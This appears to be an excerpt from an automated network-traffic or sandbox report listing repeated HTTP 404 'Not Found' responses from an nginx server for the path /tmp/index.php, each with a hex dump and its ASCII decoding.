Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 01:14:24 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 01:14:27 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 01:14:31 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 01:14:33 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 01:14:35 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 01:14:37 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 01:14:38 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 01:14:40 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 01:14:42 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 01:14:45 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 01:14:45 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 01:14:47 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 01:14:50 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 01:14:51 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
